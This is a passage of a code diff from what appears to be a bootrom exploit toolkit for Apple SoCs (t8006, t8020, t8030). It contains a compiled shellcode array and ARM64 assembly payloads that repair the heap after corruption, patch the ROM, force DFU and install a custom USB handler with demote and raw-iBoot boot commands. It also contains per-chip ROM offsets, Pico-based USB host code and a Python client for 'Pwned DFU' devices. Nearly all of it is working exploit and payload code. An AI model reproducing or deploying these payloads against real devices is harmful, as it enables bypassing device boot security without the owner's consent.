0x01, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x58, 0x00, 0x04, 0x40, 0xb2,
0xc1, 0x00, 0x00, 0x58, 0x20, 0x00, 0x02, 0xf9, 0xc0, 0x03, 0x5f, 0xd6,
0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x38, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xf3, 0x53, 0xbf, 0xa9,
0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf3, 0x03, 0x00, 0xaa,
0x88, 0x01, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0xe0, 0x03, 0x13, 0xaa,
0x61, 0x01, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0x52, 0xe3, 0x0f, 0x80, 0x52,
0xc8, 0x00, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0xfd, 0x7b, 0xc1, 0xa8,
0xf3, 0x53, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00,
0xf4, 0x16, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e,
0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38,
0x5d, 0x00, 0x00, 0x00, 0x20, 0x40, 0x38, 0xd5, 0x81, 0xfb, 0xff, 0x58,
0x00, 0x00, 0x01, 0xcb, 0x21, 0x00, 0xc0, 0xd2, 0x00, 0x00, 0x01, 0x8b,
0x20, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc5, 0xff, 0xff, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x01, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x80, 0xd2, 0xe9, 0xdc, 0x80, 0xd2,
0x29, 0x87, 0xb3, 0xf2, 0x29, 0x00, 0xc0, 0xf2, 0x6b, 0x00, 0x98, 0xd2,
0x0b, 0x87, 0xb3, 0xf2, 0x2b, 0x00, 0xc0, 0xf2, 0x6a, 0x01, 0x08, 0x8b,
0x49, 0xd1, 0x1f, 0xf8, 0x08, 0x21, 0x00, 0x91, 0x29, 0x11, 0x40, 0x91,
0x1f, 0x81, 0x01, 0xf1, 0x61, 0xff, 0xff, 0x54, 0x08, 0x00, 0x80, 0xd2,
0x09, 0x00, 0x80, 0xd2, 0x0a, 0x80, 0x90, 0xd2, 0x0a, 0x87, 0xb3, 0xf2,
0x2a, 0x00, 0xc0, 0xf2, 0x4b, 0x01, 0x00, 0xf9, 0x2b, 0x8d, 0x80, 0xd2,
0x0b, 0x80, 0xb3, 0xf2, 0x2b, 0x00, 0xc0, 0xf2, 0x0b, 0x0c, 0xe0, 0xf2,
0x4b, 0x39, 0x01, 0xf9, 0x2b, 0x8d, 0x80, 0xd2, 0x4b, 0x00, 0xc0, 0xf2,
0x0b, 0x0c, 0xe0, 0xf2, 0x0c, 0x40, 0xa0, 0x52, 0x2d, 0x01, 0x0b, 0xaa,
0x4e, 0x01, 0x08, 0x8b, 0xcd, 0x01, 0x02, 0xf9, 0x29, 0x01, 0x0c, 0x8b,
0x08, 0x21, 0x00, 0x91, 0x1f, 0xc1, 0x07, 0xf1, 0x41, 0xff, 0xff, 0x54,
0xc0, 0x03, 0x5f, 0xd6, 0xad, 0xde, 0xad, 0xde, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int shellcode_t8030_len = 1136;
+16
View File
@@ -0,0 +1,16 @@
#!/bin/bash
set -e
if [[ ! -n $TARGET ]]; then
echo "no TARGET specified!"; exit;
fi
mkdir -p build
clang -arch arm64 start.S -Wl,-segalign,0x10 -Wl,-preload -nostdlib -Itargets/$TARGET -o build/shellcode_$TARGET.o
vmacho -f build/shellcode_$TARGET.o build/shellcode_$TARGET.bin
echo -n "const " > ../resources/shellcode_$TARGET.h
xxd -i -n shellcode_$TARGET build/shellcode_$TARGET.bin >> ../resources/shellcode_$TARGET.h
+249
View File
@@ -0,0 +1,249 @@
#include <offsets.h>
.set handler_off, 0x3C00
.set ret_tramp_off, 0x3F00
.text
.align 4
.globl start
start:
// disable MMU for now
mrs x0, sctlr_el1
and x0, x0, #(~(1 << 0))
msr sctlr_el1, x0
dsb sy
isb sy
// switch stack
ldr x0, =NEW_SP
mov sp, x0
adr x24, start // boot trampoline base
// copy return tramp to the end of tramp page
mov x1, ret_tramp_off
add x0, x24, x1 // destination - the end of the trampoline area
mov x22, x0 // save for later - we'll have to jump there in the end
adr x1, trampoline // source - trampoline asm
adr x2, trampoline_end
sub x2, x2, x1 // size - trampoline length
ldr x8, _memcpy
blr x8
// copy handler code as well
mov x1, handler_off
add x0, x24, x1 // destination - (almost) the end of the trampoline area
mov x24, x0
// I hate this assembler
// adr xN, text_addr - yay!
// adr xN, data_addr - nay!
adrp x1, handler_len@page
add x1, x1, handler_len@pageoff
ldr w2, [x1] // size of our custom handler
// this will be the actual handler text
add x1, x1, #0x10
ldr x8, _memcpy
blr x8
// make boot trampoline executable in all CPU modes,
// and switch it to Device memory (should get rid of all caching burden)
ldr x0, =BOOT_TRAMP_PTEP
ldr x1, =BOOT_TRAMP_PTE
str x1, [x0]
// flush TLB
dsb sy
tlbi vmalle1
dsb sy
isb sy
// invalidate icache
ic iallu
dsb sy
isb sy
// re-enable MMU again now that we are done copying code around
mrs x0, sctlr_el1
orr x0, x0, #((1 << 0))
msr sctlr_el1, x0
dsb sy
isb sy
// set the callback addr
ldr x1, =USB_REQ_HANDLER_CB_ADDR
str x24, [x1]
// fix that one corrupted block that we can't
// reliably overwrite in the exploit
ldr x0, =HEAP_BLOCK_TO_REPAIR_DMA
stp xzr, xzr, [x0, #0x0]
stp xzr, xzr, [x0, #0x10]
stp xzr, xzr, [x0, #0x20]
stp xzr, xzr, [x0, #0x30]
mov w1, #0x2 // this_size
str w1, [x0, #0x20]
mov w1, #0xc // prev_size
str w1, [x0, #0x28]
mov w1, #0x80 // padding
str w1, [x0, #0x30]
ldr x1, =HEAP_WHATEVER_THAT_IS
str x1, [x0, #0x18]
// ...and actually another one, too,
// since it's overwritten by the ROP chain
// XXX move ROP chain inside the io_buffer?
ldr x0, =HEAP_BLOCK_TO_REPAIR_IO_BUF
stp xzr, xzr, [x0, #0x0]
stp xzr, xzr, [x0, #0x10]
stp xzr, xzr, [x0, #0x20]
stp xzr, xzr, [x0, #0x30]
// already there
// ldr x1, =HEAP_WHATEVER_THAT_IS
str x1, [x0, #0x18]
mov w1, #0x21 // this_size
str w1, [x0, #0x20]
mov w1, #0x404 // prev_size
str w1, [x0, #0x28]
mov w1, #0x840 // padding
str w1, [x0, #0x30]
// gotta point USB DMA back where it belongs
ldr w1, =DMA_BUF_LO
ldr x0, =USB_DMA_DEST
str w1, [x0]
// gotta reset *jump* state
ldr x0, =JUMP_STATE
mov x1, #0x0
str w1, [x0]
// fix corrupted heap blocks' checksum
adr x19, heap_blocks
adr x20, heap_blocks_end
ldr x21, =CALCULATE_HEAP_BLOCK_SUM
heap_fix_loop:
ldr x0, [x19], #0x8
blr x21
cmp x19, x20
bne heap_fix_loop
// add PWND string to USB SN
ldr x0, =USB_SN_STR
adr x1, pwnd_str
mov x2, #127
mov x3, #127
ldr x8, =STRLCAT
blr x8
ldr x0, =USB_SN_STR
ldr x8, =USB_DESC_MAKE_STR
blr x8
ldr x1, =USB_DEV_DESC_SN_IDX
strb w0, [x1]
// fix usb_task()'s stack frame & higher regs
// This is target-specific
#include <cleanup.S>
// go to return trampoline
br x22
.balign 8
heap_blocks:
#include <blocks.S>
heap_blocks_end:
pwnd_str:
.asciz " PWND:[usbliter8]"
// this "return" trampoline is needed because we'd like
// to restore the original boot trampoline
.balign 16
trampoline:
// disable MMU for now
mrs x0, sctlr_el1
and x0, x0, #(~(1 << 0))
msr sctlr_el1, x0
dsb sy
isb sy
// copying the original trampoline back
ldr x0, _tramp_base
ldr x1, _rom_tramp
mov x2, ROM_TRAMP_LEN
ldr x8, _memcpy
blr x8
// invalidate icache
ic iallu
dsb sy
isb sy
// set original SCTLR
ldr x0, _sctlr_val
msr sctlr_el1, x0
dsb sy
isb sy
// this is set to a weird state in the jump() function
mov x0, #0x201
msr CNTKCTL_EL1, x0
// where we return (inside usb_task())
ldr x0, _elr_val
msr elr_el1, x0
// CPSR when we return
mov x0, 0x100
msr spsr_el1, x0
eret
.balign 8
_tramp_base:
.8byte TRAMP_BASE
_rom_tramp:
.8byte ROM_TRAMP
_memcpy:
.8byte MEMCPY
_sctlr_val:
.8byte 0x34DD5B8D
_elr_val:
.8byte RETURN_TO_EL0_ADDR
trampoline_end:
// gotta move this into a separate segment,
// since otherwise constant pool will be
// at the end of the shellcode, and not this
.data
handler_len:
.4byte 0xDEADDEAD // populated dynamically by the exploit
.balign 16
handler_start:
@@ -0,0 +1,5 @@
.8byte 0x1801D8BC0
.8byte 0x1801D9400
.8byte 0x1801D9480
.8byte 0x1801D9500
.8byte 0x1801D95C0
@@ -0,0 +1,28 @@
// t8006 pre-return cleanup code
mov x0, sp // old stack
sub sp, sp, 0xA0 // SP as it has to be inside the task routine
mov x1, sp // new stack
stack_clear_loop:
stp xzr, xzr, [x1], #0x10
cmp x0, x1
bne stack_clear_loop
// stack canary
ldr x1, =0x1801B84B8
ldr x1, [x1]
str x1, [sp, #0x18]
// set LR to expected place in task tramp
ldr x1, =0x10000AC38
str x1, [sp, #0x78]
ldr x1, =0x230100BA8
str x1, [sp, #0x8]
ldr x20, =0x230100000
ldr x21, =0x1801BFE00
mov w24, #1
mov w25, #0x40
mov w28, #0x1F
mov w26, #0xF
@@ -0,0 +1,31 @@
// T8006 ROM
#define NEW_SP 0x1801D8BC0
#define MEMCPY 0x100010C10
#define STRLCAT 0x100010BB8
#define CALCULATE_HEAP_BLOCK_SUM 0x10000F5EC
#define TRAMP_BASE 0x1801C8000
#define ROM_TRAMP 0x100007A00
#define ROM_TRAMP_LEN 0x480
#define BOOT_TRAMP_PTEP 0x1801B4390
#define BOOT_TRAMP_PTE 0x1801C86E3
#define DMA_BUF_LO 0x801D9600
#define USB_DMA_DEST 0x230100B14
#define JUMP_STATE 0x1801C4030
#define HEAP_BLOCK_TO_REPAIR_DMA 0x1801D95C0
#define HEAP_BLOCK_TO_REPAIR_IO_BUF 0x1801D8BC0
#define HEAP_WHATEVER_THAT_IS 0x1801C0C78
#define USB_SN_STR 0x1801BB3D8
#define USB_DEV_DESC_SN_IDX 0x1801B897A
#define USB_DESC_MAKE_STR 0x10000D510
#define USB_REQ_HANDLER_CB_ADDR 0x1801C03F8
#define RETURN_TO_EL0_ADDR 0x10000C370
@@ -0,0 +1,5 @@
.8byte 0x19C028BC0
.8byte 0x19C029400
.8byte 0x19C029480
.8byte 0x19C029500
.8byte 0x19C0295C0
@@ -0,0 +1,28 @@
// t8020 pre-return cleanup code
mov x0, sp // old stack
sub sp, sp, 0xA0 // SP as it has to be inside the task routine
mov x1, sp // new stack
stack_clear_loop:
stp xzr, xzr, [x1], #0x10
cmp x0, x1
bne stack_clear_loop
// stack canary
ldr x1, =0x19C008448
ldr x1, [x1]
str x1, [sp, #0x18]
// set LR to expected place in task tramp
ldr x1, =0x10000ACEC
str x1, [sp, #0x78]
ldr x1, =0x239100BA8
str x1, [sp, #0x8]
ldr x20, =0x239100000
ldr x21, =0x19C010670
mov w24, #1
mov w25, #0x40
mov w28, #0x1F
mov w26, #0xF
@@ -0,0 +1,31 @@
// T8020 ROM
#define NEW_SP 0x19C028BC0
#define MEMCPY 0x100010BD0
#define STRLCAT 0x100010B60
#define CALCULATE_HEAP_BLOCK_SUM 0x10000F664
#define TRAMP_BASE 0x19C018000
#define ROM_TRAMP 0x100007640
#define ROM_TRAMP_LEN 0x480
#define BOOT_TRAMP_PTEP 0x19C004030
#define BOOT_TRAMP_PTE 0x19C0186E3
#define DMA_BUF_LO 0x9C029600
#define USB_DMA_DEST 0x239100B14
#define JUMP_STATE 0x19C014030
#define HEAP_BLOCK_TO_REPAIR_DMA 0x19C0295C0
#define HEAP_BLOCK_TO_REPAIR_IO_BUF 0x19C028BC0
#define HEAP_WHATEVER_THAT_IS 0x19C011468
#define USB_SN_STR 0x19C00BC58
#define USB_DEV_DESC_SN_IDX 0x19C00890A
#define USB_DESC_MAKE_STR 0x10000D584
#define USB_REQ_HANDLER_CB_ADDR 0x19C010C68
#define RETURN_TO_EL0_ADDR 0x10000C408
+13
View File
@@ -0,0 +1,13 @@
#!/bin/bash
set -e
mkdir -p build
TARGET=t8030
clang -arch arm64 -Os -Wl,-preload -Wl,-segalign,0x10 -Wl,-order_file,symorder.txt -nostdlib -fno-vectorize start.S patch.c tt.c -o build/shellcode_$TARGET.o
vmacho -f build/shellcode_$TARGET.o build/shellcode_$TARGET.bin
echo -n "const " > ../resources/shellcode_$TARGET.h
xxd -i -n shellcode_$TARGET build/shellcode_$TARGET.bin >> ../resources/shellcode_$TARGET.h
+26
View File
@@ -0,0 +1,26 @@
#define PAGE_SIZE (0x4000)
#define L1_PAGE_SIZE (0x2000000)
#define SRAM_BASE 0x19C000000
#define IO_BASE 0x200000000
#define NEW_SP 0x19C01E000
#define ROM_BASE 0x100000000
#define ROM_NEW_PA 0x19C390000
#define ROM_SIZE 0x30000
#define TTBR_BASE 0x19C388000
#define ROM_PTE_BASE 0x19C38C000
#define TRAMP_OFF -0x800
#define HANDLER_OFF -0x400
#define LOAD_AREA_SIZE 0x358000
#define BOOT_TRAMP 0x100007D00
#define BOOT_TRAMP_REL (BOOT_TRAMP - ROM_BASE)
#define BOOT_TRAMP_LEN 0x400
#define STRLCPY 0x1000116F4
#define MEMCPY 0x100011770
+45
View File
@@ -0,0 +1,45 @@
#include <stdint.h>
#include "offsets.h"
extern void *tramp;
extern void *restore_rom_table;
extern void *add_pwnd_hook;
#define SET32(_addr, _val) \
*(volatile uint32_t *)(_addr) = _val;
#define SET64(_addr, _val) \
*(volatile uint64_t *)(_addr) = _val;
#define NOP (0xd503201f)
static
uint32_t arm64_assemble_bl(uint64_t src, uint64_t dst) {
return ((0b100101 << 26) | (((dst - src) / 4) & 0x3FFFFFF));
}
static
uint64_t tramp_func_off(void *func) {
uint64_t shc_off = func - (void *)&tramp;
return ROM_BASE + ROM_SIZE + shc_off + TRAMP_OFF;
}
void rom_patchup(void) {
/* load area size tweak */
SET32(ROM_NEW_PA + 0x7454, 0x10000060); // adr x0, 0xc
SET32(ROM_NEW_PA + 0x7458, 0xb9400000); // ldr w0, [x0]
SET32(ROM_NEW_PA + 0x745c, 0xd65f03c0); // ret
SET32(ROM_NEW_PA + 0x7460, LOAD_AREA_SIZE);
/* keep ROM remap */
SET32(ROM_NEW_PA + 0x7550, arm64_assemble_bl(ROM_BASE + 0x7550, tramp_func_off(&restore_rom_table)));
/* force DFU */
SET32(ROM_NEW_PA + 0x79A4, 0x52800020); // mov w0, 1
/* add PWND USB SN string */
SET32(ROM_NEW_PA + 0x68D4, arm64_assemble_bl(ROM_BASE + 0x68D4, tramp_func_off(&add_pwnd_hook)));
/* custom handler */
SET64(ROM_NEW_PA + 0x29078, ROM_BASE + ROM_SIZE + HANDLER_OFF);
}
+201
View File
@@ -0,0 +1,201 @@
/*
0x19C030000 (+0x358000) - LOAD AREA
0x19C388000 (+0x4000) - TTBR // XXX shall overlap with LOAD AREA?
0x19C38C000 (+0x4000) - ROM PTEs
0x19C390000 (+0x30000) - ROM
*/
#include "offsets.h"
.text
.globl start
start:
msr DAIFSet, #3
ldr x0, =NEW_SP
mov sp, x0
ldr x0, =ROM_NEW_PA
ldr x1, =ROM_BASE
ldr x2, =ROM_SIZE
ldr x8, =MEMCPY
blr x8
bl _rom_patchup
adr x0, start
ldr x1, =section$start$__TEXT$__tramp
ldr x2, =section$end$__TEXT$__tramp
sub x2, x2, x1
add x1, x1, x0
ldr x0, =(ROM_NEW_PA + ROM_SIZE + TRAMP_OFF)
mov x19, x0
ldr x8, =MEMCPY
blr x8
// I hate this assembler
// adr xN, text_addr - yay!
// adr xN, data_addr - nay!
adrp x1, handler_len@page
add x1, x1, handler_len@pageoff
ldr w2, [x1] // size of our custom handler
add x1, x1, #0x10 // this will be the actual handler text
ldr x0, =(ROM_NEW_PA + ROM_SIZE + HANDLER_OFF)
ldr x8, =MEMCPY
blr x8
mrs x0, sctlr_el1
and x0, x0, #~0x1
msr sctlr_el1, x0
dsb sy
isb
adr x0, start
add x0, x0, #0x800
ldr x1, =BOOT_TRAMP
ldr x2, =BOOT_TRAMP_LEN
mov x20, x0
ldr x8, =MEMCPY
blr x8
ic iallu
dsb sy
isb
mrs x0, sctlr_el1
orr x0, x0, 0x1
msr sctlr_el1, x0
dsb sy
isb
mov x0, x19
br x20
.section __TEXT, __tramp
.globl _tramp
_tramp:
adr x0, _tramp
ldr x1, rom_pa
sub x0, x0, x1
mov x1, ROM_BASE
add x0, x0, x1
msr vbar_el1, x0
ldr x0, =NEW_SP
mov sp, x0
bl _tt_make
ldr x0, mair_val
msr mair_el1, x0
ldr x0, tcr_val
msr tcr_el1, x0
ldr x0, ttbr_val
msr ttbr0_el1, x0
isb
dsb sy
tlbi vmalle1
dsb sy
isb
ldr x0, sctlr_val
msr sctlr_el1, x0
dsb sy
isb
mov x8, ROM_BASE
br x8
.balign 8
ttbr_val:
.8byte TTBR_BASE
mair_val:
.8byte 0x0000FF04
tcr_val:
.8byte 0x1659CA51C
sctlr_val:
.8byte 0x48D520D
rom_pa:
.8byte ROM_NEW_PA
.globl _restore_rom_table
_restore_rom_table:
ldr x0, rom_pte_base
orr x0, x0, #3
ldr x1, ttbr_base
str x0, [x1, (ROM_BASE / L1_PAGE_SIZE * 8)]
ret
.balign 8
rom_pte_base:
.8byte ROM_PTE_BASE
ttbr_base:
.8byte SRAM_BASE
.globl _add_pwnd_hook
_add_pwnd_hook:
stp x19, x20, [sp, #-0x10]!
stp x29, x30, [sp, #-0x10]!
mov x29, sp
mov x19, x0
ldr x8, strlcpy_addr
blr x8
mov x0, x19
adr x1, pwnd_str
mov w2, #127
mov w3, #127
ldr x8, strlcpy_addr
blr x8
ldp x29, x30, [sp], #0x10
ldp x19, x20, [sp], #0x10
ret
.balign 8
strlcpy_addr:
.8byte STRLCPY
pwnd_str:
.asciz " PWND:[usbliter8]"
.balign 4
return_to_rom_va:
mrs x0, elr_el1
ldr x1, rom_pa
sub x0, x0, x1
mov x1, ROM_BASE
add x0, x0, x1
msr elr_el1, x0
eret
.org 0x200
vbar_vect:
b return_to_rom_va
.data
handler_len:
.4byte 0xDEADDEAD // populated dynamically by the exploit
.balign 16
handler_start:
+1
View File
@@ -0,0 +1 @@
start
+52
View File
@@ -0,0 +1,52 @@
#include <stdint.h>
#include "offsets.h"
static inline
uint64_t l3_pte_make_exec(uint64_t p) {
return (0x6E7) | (p & ~0x3FFF);
}
static inline
uint64_t l3_pte_make_data(uint64_t p) {
return (0x60000000000667) | (p & ~0x3FFF);
}
static inline
uint64_t l3_pte_make_io(uint64_t p) {
return (0x60000000000469) | (p & ~0x3FFF);
}
static inline
uint64_t l3_tte_make(uint64_t p) {
return (p & ~0x3FFF) | 0b11;
}
static inline
uint64_t l1_off(uint64_t p) {
return p / L1_PAGE_SIZE;
}
__attribute__((section("__TEXT,__tramp")))
void tt_make(void) {
uint64_t *ttbr = (void *)TTBR_BASE;
uint64_t t;
/* ROM */
t = ROM_PTE_BASE;
for (int p = 0; p < ROM_SIZE / PAGE_SIZE; p++) {
uint64_t *ptep = (uint64_t *)t + p;
*ptep = l3_pte_make_exec(ROM_NEW_PA + p * PAGE_SIZE);
}
*(ttbr + l1_off(ROM_BASE)) = l3_tte_make(t);
/* SRAM */
*(ttbr + l1_off(SRAM_BASE)) = l3_pte_make_io(SRAM_BASE);
/* IO */
t = IO_BASE;
for (int p = 0; p < 62; p++) {
*(ttbr + l1_off(IO_BASE) + p) = l3_pte_make_io(t + p * L1_PAGE_SIZE);
}
}
+109
View File
@@ -0,0 +1,109 @@
#include <stdint.h>
#include "pico/multicore.h"
#include "usb.h"
#include "bus.h"
#include "log.h"
enum {
USB_CMD_BUS_INIT = 0,
USB_CMD_WAIT_FOR_DEVICE,
USB_CMD_RESET_OPEN_EP0,
USB_CMD_EXECUTE_FUNC
};
static struct {
usb_executee_t func;
void *ctx;
} usb_exec_ctx;
static bus_t gBus = { 0 };
void usb_task(void) {
while (1) {
uint32_t cmd = multicore_fifo_pop_blocking();
uint32_t ret = -1;
switch (cmd) {
case USB_CMD_BUS_INIT: {
bus_init(&gBus, false);
ret = 0;
break;
}
case USB_CMD_WAIT_FOR_DEVICE: {
bus_wait_for_connect(&gBus);
ret = 0;
break;
}
case USB_CMD_RESET_OPEN_EP0: {
bus_reset_ep0_reopen(&gBus);
ret = 0;
break;
}
case USB_CMD_EXECUTE_FUNC: {
ret = usb_exec_ctx.func(&gBus, usb_exec_ctx.ctx);
break;
}
}
multicore_fifo_push_blocking(ret);
}
}
void usb_start(void) {
multicore_reset_core1();
multicore_launch_core1(usb_task);
}
int _usb_task_execute_cmd(int cmd, uint64_t timeout) {
multicore_fifo_push_blocking(cmd);
uint32_t out = -1;
if (timeout) {
if (!multicore_fifo_pop_timeout_us(timeout, &out)) {
INFO("TIMEOUT");
}
} else {
out = multicore_fifo_pop_blocking();
}
return out;
}
#define DEFAULT_TIMEOUT_US (100 * 1000)
int usb_bus_init(void) {
return _usb_task_execute_cmd(USB_CMD_BUS_INIT, DEFAULT_TIMEOUT_US);
}
int usb_bus_wait_for_device(void) {
INFO("waiting for device...");
int ret = _usb_task_execute_cmd(USB_CMD_WAIT_FOR_DEVICE, 0);
if (ret == 0) {
INFO("connected, speed = %s", gBus.root->is_fullspeed ? "FS" : "LS");
}
return ret;
}
int usb_bus_reset_open_ep0(void) {
int ret = _usb_task_execute_cmd(USB_CMD_RESET_OPEN_EP0, DEFAULT_TIMEOUT_US);
if (ret == 0) {
INFO("opened EP0");
}
return ret;
}
int usb_bus_execute(usb_executee_t func, void *ctx, uint64_t timeout) {
usb_exec_ctx.func = func;
usb_exec_ctx.ctx = ctx;
return _usb_task_execute_cmd(USB_CMD_EXECUTE_FUNC, timeout);
}
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include "bus.h"
void usb_start(void);
int usb_bus_init(void);
int usb_bus_wait_for_device(void);
int usb_bus_reset_open_ep0(void);
typedef int (*usb_executee_t)(bus_t *b, void *ctx);
int usb_bus_execute(usb_executee_t func, void *ctx, uint64_t timeout);
+77
View File
@@ -0,0 +1,77 @@
#include <stdint.h>
#include <stdlib.h>
#include "offsets.h"
#define USB_DIRECTION_MASK 0x80
#define USB_DEVICE2HOST 0x80
#define USB_HOST2DEVICE 0x00
#define EP0_IN 0x80
struct usb_device_request {
uint8_t bmRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
} __attribute__((packed));
enum {
DFU_DETACH = 0,
DFU_DNLOAD,
DFU_UPLOAD,
DFU_GETSTATUS,
DFU_CLR_STATUS,
DFU_GETSTATE,
DFU_ABORT,
CUSTOM_DEMOTE,
CUSTOM_BOOT
};
static int (*orig_handle_usb_req)(struct usb_device_request *request, uint8_t **io_buffer) = (void *)HANDLE_USB_REQ;
static void (*platform_demote)() = (void *)PLATFORM_DEMOTE;
static void (*platform_set_remote_boot)() = (void *)PLATFORM_SET_REMOTE_BOOT;
#if WITH_PAC
__attribute__((naked))
uint64_t PACIB(uint64_t ptr, uint64_t ctx) {
asm("PACIB x0, x1");
asm("RET");
}
#endif
int custom_handle_usb_req(struct usb_device_request *request, uint8_t **io_buffer) {
uint8_t bmRequestType = request->bmRequestType;
uint8_t bRequest = request->bRequest;
if ((bmRequestType & USB_DIRECTION_MASK) == USB_HOST2DEVICE) {
switch (bRequest) {
case CUSTOM_DEMOTE: {
platform_demote();
return 0;
}
case CUSTOM_BOOT: {
platform_set_remote_boot();
uint64_t ptr = -1;
#if WITH_PAC
ptr = PACIB(JUMP_AWAY, MAIN_TASK_STACK_LR + 8);
#else
ptr = JUMP_AWAY;
#endif
*(volatile uint64_t *)MAIN_TASK_STACK_LR = ptr;
return 0;
}
}
} else if ((bmRequestType & USB_DIRECTION_MASK) == USB_DEVICE2HOST) {
/* KBAG decryption folks? */
}
/* everything that doesn't fall under the conditions above goes to the original handler */
return orig_handle_usb_req(request, io_buffer);
}
+16
View File
@@ -0,0 +1,16 @@
#!/bin/bash
set -e
if [[ ! -n $TARGET ]]; then
echo "no TARGET specified!"; exit;
fi
mkdir -p build
clang -arch arm64 handler.c -Os -Wl,-preload -nostdlib -e _custom_handle_usb_req -Wl,-order_file,symorder.txt -Itargets/$TARGET -o build/handler_$TARGET.o
vmacho -f build/handler_$TARGET.o build/handler_$TARGET.bin
echo -n "const " > ../resources/handler_$TARGET.h
xxd -i -n handler_$TARGET build/handler_$TARGET.bin >> ../resources/handler_$TARGET.h
+1
View File
@@ -0,0 +1 @@
_custom_handle_usb_req
+8
View File
@@ -0,0 +1,8 @@
// T8006 ROM
#define HANDLE_USB_REQ 0x10000E388
#define PLATFORM_DEMOTE 0x100007ED4
#define PLATFORM_SET_REMOTE_BOOT 0x100006B54
#define MAIN_TASK_STACK_LR 0x1801CDF58
#define JUMP_AWAY 0x100001B98
+8
View File
@@ -0,0 +1,8 @@
// T8020 ROM
#define HANDLE_USB_REQ 0x10000E3EC
#define PLATFORM_DEMOTE 0x100007CF8
#define PLATFORM_SET_REMOTE_BOOT 0x100006850
#define MAIN_TASK_STACK_LR 0x19C01DF08
#define JUMP_AWAY 0x100001C8C
+10
View File
@@ -0,0 +1,10 @@
// T8030 ROM
#define WITH_PAC (1)
#define HANDLE_USB_REQ 0x10000EF34
#define PLATFORM_DEMOTE 0x10000832C
#define PLATFORM_SET_REMOTE_BOOT 0x100006EB0
#define MAIN_TASK_STACK_LR 0x19C01DF08
#define JUMP_AWAY 0x1000021D0
Executable
+80
View File
@@ -0,0 +1,80 @@
#!/usr/bin/env python3
import argparse
from pathlib import Path
import usb
DFU_DNLOAD = 1
DFU_ABORT = 4
CUSTOM_DEMOTE = 7
CUSTOM_BOOT = 8
def open_device():
dev = usb.core.find(idProduct=0x1227)
if not dev:
raise RuntimeError("no device?")
srnm = dev.serial_number
if "PWND:[" not in srnm:
raise RuntimeError("this is not Pwned DFU device")
return dev
TRANSFER_SIZE = 0x800
def download(dev, buf):
offset = 0
left = len(buf)
while left:
curr_len = min(TRANSFER_SIZE, left)
dev.ctrl_transfer(0x21, DFU_DNLOAD, 0, 0, buf[offset:offset+curr_len], 1000)
offset += curr_len
left -= curr_len
print("\rsent - 0x%x" % (offset), end="")
print()
dev.ctrl_transfer(0x21, DFU_DNLOAD, 0, 0, None, 100)
def do_boot(args):
with open(args.iboot, "rb") as f:
iboot = f.read()
dev = open_device()
download(dev, iboot)
dev.ctrl_transfer(0x21, CUSTOM_BOOT, 0, 0, None, 100)
dev.ctrl_transfer(0x21, DFU_ABORT, 0, 0, None, 100)
def do_demote(args):
dev = open_device()
dev.ctrl_transfer(0x21, CUSTOM_DEMOTE, 0, 0, None, 100)
def main():
parser = argparse.ArgumentParser(description="Love is Control")
subparsers = parser.add_subparsers()
boot_parser = subparsers.add_parser("boot", help="boot raw iBoot")
boot_parser.set_defaults(func=do_boot)
boot_parser.add_argument("iboot", type=Path)
demote_parser = subparsers.add_parser("demote", help="demote production mode")
demote_parser.set_defaults(func=do_demote)
args = parser.parse_args()
if not hasattr(args, "func"):
